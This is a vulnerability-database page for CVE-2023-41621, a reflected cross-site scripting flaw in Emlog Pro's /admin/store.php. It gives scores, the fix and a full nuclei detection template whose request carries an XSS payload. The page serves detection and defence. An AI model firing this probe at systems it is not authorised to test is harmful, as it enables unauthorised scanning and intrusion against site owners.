HexBrain

Browse / CVEs / CVE-2023-41621

CVE-2023-41621· emlog / emlog· CWE-79

Emlog Pro v2.1.14 - Cross-Site Scripting

mediumseverity
6.1CVSS score
1.1%likelihood of exploitation, next 30 days
67%of all CVEs are less likely
Readycheck to confirm it

Cross Site Scripting (XSS) vulnerability in Emlog Pro v2.1.14 via /admin/store.php.

Impact

Successful exploitation could lead to unauthorized access or data theft.

Fix

Update Emlog Pro to the latest version to mitigate the XSS vulnerability (CVE-2023-41621).

How to confirm it

Send: GET /admin/store.php?"onmouseover='alert(document.domain)'bad="
Positive when: contains in response "onmouseover='alert(document.domain)'bad=" and "emlog" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2023-41621 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2023-41621

info:
  name: Emlog Pro v2.1.14 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Cross Site Scripting (XSS) vulnerability in Emlog Pro v2.1.14 via /admin/store.php.
  impact: |
    Successful exploitation could lead to unauthorized access or data theft.
  remediation: |
    Update Emlog Pro to the latest version to mitigate the XSS vulnerability (CVE-2023-41621).
  reference:
    - https://github.com/GhostBalladw/wuhaozhe-s-CVE/blob/main/CVE-2023-41621
    - https://nvd.nist.gov/vuln/detail/CVE-2023-41621
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-41621
    cwe-id: CWE-79
    epss-score: 0.01146
    epss-percentile: 0.67029
    cpe: cpe:2.3:a:emlog:emlog:2.1.14:*:*:*:pro:*:*:*
  metadata:
    vendor: emlog
    product: emlog
    max-request: 1
    fofa-query: title="emlog"
  tags: cve,cve2023,emlog,xss,vuln

http:
  - raw:
      - |
        GET /admin/store.php?"onmouseover='alert(document.domain)'bad=" HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: response
        words:
          - "onmouseover='alert(document.domain)'bad="
          - "emlog"
        condition: and
        case-insensitive: true

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from